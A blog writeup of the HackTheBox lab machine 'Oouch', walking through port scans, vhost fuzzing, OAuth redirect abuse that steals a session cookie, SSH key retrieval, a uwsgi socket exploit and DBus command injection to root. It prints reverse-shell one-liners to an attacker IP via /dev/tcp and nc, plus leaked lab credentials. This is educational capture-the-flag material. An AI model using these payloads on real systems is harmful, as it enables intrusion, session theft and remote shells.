Blog
Search…
Oouch HTB writeup
Oouch is one of the hard (close to Insane) boxes that will give you a lot of fun but also tons of frustration with a big dose of new technologies and web techniques. Prepare to study, investigate and get fun.

Enum

Port scans

As with every box, first is to execute some Nmap to discover open ports and execute basic script against those.
1
Running script with target Oouch/10.10.10.177
2
[*] Creating directory Oouch structure
3
[*] Running NMAP all ports to 10.10.10.177
4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 16:21 CEST
5
Initiating Ping Scan at 16:21
6
Scanning 10.10.10.177 [2 ports]
7
Completed Ping Scan at 16:21, 0.04s elapsed (1 total hosts)
8
Initiating Connect Scan at 16:21
9
Scanning 10.10.10.177 [65535 ports]
10
Discovered open port 22/tcp on 10.10.10.177
11
Discovered open port 21/tcp on 10.10.10.177
12
Discovered open port 8000/tcp on 10.10.10.177
13
Completed Connect Scan at 16:21, 12.86s elapsed (65535 total ports)
14
Nmap scan report for 10.10.10.177
15
Host is up (0.040s latency).
16
Not shown: 64978 closed ports, 554 filtered ports
17
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
18
PORT STATE SERVICE
19
21/tcp open ftp
20
22/tcp open ssh
21
8000/tcp open http-alt
22
23
Read data files from: /usr/bin/../share/nmap
24
Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds
Copied!
1
[*] Running NMAP scripts to open ports
2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 16:21 CEST
3
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
4
Nmap scan report for 10.10.10.177
5
Host is up (0.040s latency).
6
7
PORT STATE SERVICE VERSION
8
21/tcp open ftp vsftpd 2.0.8 or later
9
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
10
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt
11
| ftp-syst:
12
| STAT:
13
| FTP server status:
14
| Connected to 10.10.14.34
15
| Logged in as ftp
16
| TYPE: ASCII
17
| Session bandwidth limit in byte/s is 30000
18
| Session timeout in seconds is 300
19
| Control connection is plain text
20
| Data connections will be plain text
21
| At session startup, client count was 4
22
| vsFTPd 3.0.3 - secure, fast, stable
23
|_End of status
24
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25
| ssh-hostkey:
26
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
27
|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
28
8000/tcp open rtsp
29
| fingerprint-strings:
30
| FourOhFourRequest, GetRequest, HTTPOptions:
31
| HTTP/1.0 400 Bad Request
32
| Content-Type: text/html
33
| Vary: Authorization
34
| <h1>Bad Request (400)</h1>
35
| RTSPRequest:
36
| RTSP/1.0 400 Bad Request
37
| Content-Type: text/html
38
| Vary: Authorization
39
| <h1>Bad Request (400)</h1>
40
| SIPOptions:
41
| SIP/2.0 400 Bad Request
42
| Content-Type: text/html
43
| Vary: Authorization
44
|_ <h1>Bad Request (400)</h1>
45
|_http-title: Site doesn't have a title (text/html).
46
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
47
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
48
SF-Port8000-TCP:V=7.80%I=7%D=5/15%Time=5EBEA581%P=x86_64-pc-linux-gnu%r(Ge
49
SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
50
SF:t/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</
51
SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon
52
SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Req
53
SF:uest\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req
54
SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1
55
SF:>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2
56
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization
57
SF:\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\
58
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth
59
SF:orization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
60
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
61
62
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
63
Nmap done: 1 IP address (1 host up) scanned in 18.89 seconds
64
xnaaro:parrot  /media/xnaaro/SSD/hackthebox/machines 
Copied!
After initial enumeration I've found out -T5 with Nmap missed a port, so built a script to enumerate ports with netcat. Here are the results with a new port (5000) discovered
1
$ bash /media/xnaaro/SSD/repos/hacking_scripts/bash_nmap.sh 10.10.10.177
2
3
port 21 open
4
port 22 open
5
port 5000 open
Copied!

Web fuzzing

The main website at port 8000 didn't have any valid response, just server error. So executed a fuzzer to discover vhosts on the server.
1
$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.177:8000 -H "Host: FUZZ.oouch.htb"
2
3
/'___\ /'___\ /'___\
4
/\ \__/ /\ \__/ __ __ /\ \__/
5
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7
\ \_\ \ \_\ \ \____/ \ \_\
8
\/_/ \/_/ \/___/ \/_/
9
10
v1.1.0-git
11
________________________________________________
12
13
:: Method : GET
14
:: URL : http://10.10.10.177:8000
15
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
16
:: Header : Host: FUZZ.oouch.htb
17
:: Follow redirects : false
18
:: Calibration : false
19
:: Timeout : 10
20
:: Threads : 150
21
:: Matcher : Response status: 200,204,301,302,307,401,403
22
________________________________________________
23
24
authorization [Status: 200, Size: 1429, Words: 246, Lines: 32]
Copied!
Discovered a vhost called authorization, then fuzzed it to discover other internal paths and files a unauthenticated and then with an authenticated cookie.
1
$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://authorization.oouch.htb:8000/FUZZ -s
2
3
home
4
login
5
signupbottom
6
7
8
$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://authorization.oouch.htb:8000/oauth/FUZZ -H "Cookie: sessionid=50cpf32nny6cfdxrymttfyd67gyuzo0u; csrftoken=LOADoAlKfCPTK2n6IPCjlhPJdSihc8XJYMenHN0XzlB2ummc9sC7kHTazJlghdaa" -s
9
10
applications
11
authorize
12
token
Copied!

FTP

Nmap gave as an FTP port opened with anonymous enabled, on the FTP there was only a file called project.txt with the following contents.
1
$ cat project.txt
2
3
Flask -> Consumer
4
Django -> Authorization Server
Copied!
This gave us an idea of what the server is running and what could be the vhosts names
  • authorization.oouch.htb
  • consumer.oouch.htb

Abusing Oauth for foothold

Once tried some user creation, login, authorizations, etc. I understood the behaviour and the technology behind all of this, in this case was Oauth2. This box gave me the opportunity to study this technology with some blogs and an Udemy course.
One of the blogs I've found was this, were the author explains how could possibly get other's account in an miscofigured Oauth implementation: https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/

qtc user on consumer

The whole process to steal a user session was:
On the /Documents path there was this juicy information.
1
| dev_access.txt | develop:supermegasecureklarabubu123! -> Allows application registration. |
2
| o_auth_notes.txt | /api/get_user -> user data. oauth/authorize -> Now also supports GET method.|
3
| todo.txt | Chris mentioned all users could obtain my ssh key. Must be a joke... |
Copied!
Now we have to steal the cookie of qtc user on authorization.

qtc on authorization via SSRF

Next step is to create a client app at http://authorization.oouch.htb:8000/oauth/applications/register with the login found on the documents.
  • Use authorization_code as client type
  • Redirect url should be pointing to your netcat listener (http://1.2.3.4:4443)
Craft an auth request with the client_id, client_secret and redirect_url created in the client.
Then send the auth request on the contact form again and wait ~30 seconds with your netcat listening on the correct port
1
http://authorization.oouch.htb:8000/oauth/authorize/?grant_type=authorization_code&client_id=<CLIENT_ID>&client_secret=<CLIENT_SECRET>&redirect_uri=http://10.10.14.34:4443
Copied!
Once qtc clicks the link, will attempt to authorize in our client and get redirected to us, here we can steal his cookie on authorization.
1
$ rlwrap nc -nvlp 4443
2
Ncat: Version 7.80 ( https://nmap.org/ncat )
3
Ncat: Listening on :::4443
4
Ncat: Listening on 0.0.0.0:4443
5
Ncat: Connection from 10.10.10.177.
6
Ncat: Connection from 10.10.10.177:32776.
7
GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1
8
Host: 10.10.14.34:4443
9
User-Agent: python-requests/2.21.0
10
Accept-Encoding: gzip, deflate
11
Accept: */*
12
Connection: keep-alive
13
Cookie: sessionid=gp7p8lcttjmq4kyc93m4uzkdhi4yledq;
Copied!
Now we can login as qtc on authorization with that cookie, change it on the browser or add it as header Cookie: sessionid=<COOKIE> in curl or python.
At this point we create a new client app as with type client_credentials.
Then we get a token on the new client to get a new valid token.
1
$ curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-Type: application/x-www-form-urlencoded" --data "grant_type=client_credentials&client_id=<CLIENT_ID>&client_secret=<CLIENT_SECRET>" -L -s
2
{"access_token": "iZAtci8ayDcYQsbCeBctfOj1MIpARK", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}
Copied!
Once we have a token and a cookie on authorization, get can get ssh information about qtc user, as Chris mentioned in the /documentation, copy the ssh_key into a file.
1
curl -X GET 'http://authorization.oouch.htb:8000/api/get_ssh/?access_token=<TOKEN>' -H "Cookie: sessionid=<COOKIE>"
2
3
{"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAqQvHuKA1i28D1ldvVbFB8PL7ARxBNy8Ve/hfW/.............\n-----END OPENSSH PRIVATE KEY-----"}
Copied!
The ssh key have \n as strings instead of parsed as real jump lines, so lets' replace it to fix the ssh private key syntax.
1
sed -i 's/\\n/\n/g' id_rsa_qtc
Copied!
Set proper permissions to the key and connect to the box with qtc user.
1
$ chmod 600 id_rsa_qtc
2
$ ssh [email protected] -i id_rsa_qtc
3
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
4
5
The programs included with the Debian GNU/Linux system are free software;
6
the exact distribution terms for each program are described in the
7
individual files in /usr/share/doc/*/copyright.
8
9
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10
permitted by applicable law.
11
Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3
12
13
[email protected]:~$ cat user.txt
14
be510...................
Copied!

Local enumeration

First thing we see once we connect is .note.txt inside qtc's $HOME directory.
This file contents are really important as is the base information we need to do all the privesc process.
1
[email protected]:~$ cat .note.txt
2
Implementing an IPS using DBus and iptables == Genius
Copied!
We noticed docker is running and there are some neighbours in the net aka containers running with those IPs.
1
[email protected]:~$ ip neighbour
2
10.10.10.2 dev ens34 lladdr 00:50:56:b9:f6:f9 REACHABLE
3
172.18.0.4 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:04 STALE
4
172.18.0.3 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:03 STALE
5
fe80::250:56ff:feb9:f6f9 dev ens34 lladdr 00:50:56:b9:f6:f9 router STALE
Copied!
Try to connect through ssh to them, one of them will work

Getting www-data

2
Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
3
4
The programs included with the Debian GNU/Linux system are free software;
5
the exact distribution terms for each program are described in the
6
individual files in /usr/share/doc/*/copyright.
7
8
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
9
permitted by applicable law.
10
Last login: Thu May 21 17:00:56 2020 from 172.18.0.1
Copied!
Inside the container, after full enumeration we end up focusing on /code directory
1
[email protected]:/code$ ls -lsrta /code
2
total 52
3
4 -rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini
4
4 -rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh
5
4 -rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt
6
4 -rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf
7
4 drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
8
4 -r-------- 1 root root 2602 Feb 11 17:34 key
9
4 -rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py
10
4 -rw-r--r-- 1 root root 325 Feb 11 17:34 config.py
11
4 -r-------- 1 root root 568 Feb 11 17:34 authorized_keys
12
4 -rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
13
4 drwxr-xr-x 4 root root 4096 Feb 11 17:34 .
14
4 drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
15
4 drwxr-xr-x 1 root root 4096 Feb 25 12:33 ..
16
0 -rw-rw-rw- 1 root root 0 May 21 17:52 urls.txt
Copied!

Abusing uwsgi

Here we can see all the consumer app code. For now, we focus on uwsgi configuration, which have open permissions on the unix socket under /tmp
1
[email protected]:/code$ cat uwsgi.ini
2
[uwsgi]
3
module = oouch:app
4
uid = www-data
5
gid = www-data
6
master = true
7
processes = 10
8
socket = /tmp/uwsgi.socket
9
chmod-sock = 777
10
vacuum = true
11
die-on-term = true
Copied!
After some google fu research, found this python exploit to take advance of the wsgi socket.
The exploit needs to be fixed for python3 compatibility, change sz function as follows:
1
# Original
2
def sz(x):
3
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
4
if sys.version_info[0] == 3: import bytes
5
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
6
return s[::-1]
7
8
# Fixed
9
def sz(x):
10
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
11
s = bytes.fromhex(s)
12
return s[::-1]
Copied!
This container does not have netcat, wget or curl installed. You could use ftp or as I did, encode the exploit as base64 in your host and decode inside the box.
1
[email protected]:/tmp$ echo "IyEvdXNyL2Jpbi9weXRob24KIyBjb2Rpbmc6IHV0Zi04CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMK X18gPT0gJ19fbWFpbl9fJzoKICAgIG1haW4oKQo=" | base64 -d > exploit.py
Copied!
1
Open a netcat listener in your host or in oouch box, and execute the exploit.
2
3
```sh
4
[email protected]:/tmp$ python exploit.py -m unix -u uwsgi.socket -c "bash -c 'bash -i >& /dev/tcp/10.10.14.34/4443 0>&1'"
5
[*]Sending payload.
Copied!
This will give us a shell as www-data on the container.
1
$ rlwrap nc -nvlp 4443
2
Ncat: Version 7.80 ( https://nmap.org/ncat )
3
Ncat: Listening on :::4443
4
Ncat: Listening on 0.0.0.0:4443
5
Ncat: Connection from 10.10.10.177.
6
Ncat: Connection from 10.10.10.177:51688.
7
bash: cannot set terminal process group (4895): Inappropriate ioctl for device
8
bash: no job control in this shell
9
bash: /root/.bashrc: Permission denied
Copied!

Root

During previous enumeration on /code and some code review, we saw what .note.txt said about dbus.

Abusing DBUS

This is a excerpt of the vulnerable implementation found at /code/oouch/.
1
www-[email protected]:/code$ cat oouch/routes.py | grep bus
2
cat oouch/routes.py | grep bus
3
import dbus
4
The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield.
5
bus = dbus.SystemBus()
6
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
7
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
8
bus.close()
Copied!
Found a similar exploit for a different application abusing dbus and got the proper syntax to exploit ours app. https://www.exploit-db.com/exploits/46186
At this point, open another netcat listener and send a message to dbus with a reverse shell payload pointing to your listener.
1
[email protected]:/code$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;rm /tmp/.0; mkfifo /tmp/.0; cat /tmp/.0 | /bin/bash -i 2>&1 | nc 10.10.14.34 4444 >/tmp/.0;"
2
3
< /bin/bash -i 2>&1 | nc 10.10.14.34 4444 >/tmp/.0;"
4
method return time=1590084712.982363 sender=:1.3 -> destination=:1.517 serial=3 reply_serial=2
5
string "Carried out :D"
Copied!
Now we got root on oouch.htb box.
1
$ rlwrap nc -nvlp 4444
2
3
Ncat: Version 7.80 ( https://nmap.org/ncat )
4
Ncat: Listening on :::4444
5
Ncat: Listening on 0.0.0.0:4444
6
Ncat: Connection from 10.10.10.177.
7
Ncat: Connection from 10.10.10.177:50784.
8
bash: cannot set terminal process group (2502): Inappropriate ioctl for device
9
bash: no job control in this shell
10
11
id
12
uid=0(root) gid=0(root) groups=0(root)
13
14
[email protected]:/root# hostname
15
hostname
16
oouch
17
18
[email protected]:/root# cat /root/root.txt
19
cat /root/root.txt
20
d98ef..........
Copied!
This box was specially fun and frustrating, made me learn Oauth and investigate about dbus and uwsgi. Also good practice for csrf and ssrf techniques. Hope you enjoyed the whole process.
Last modified 1yr ago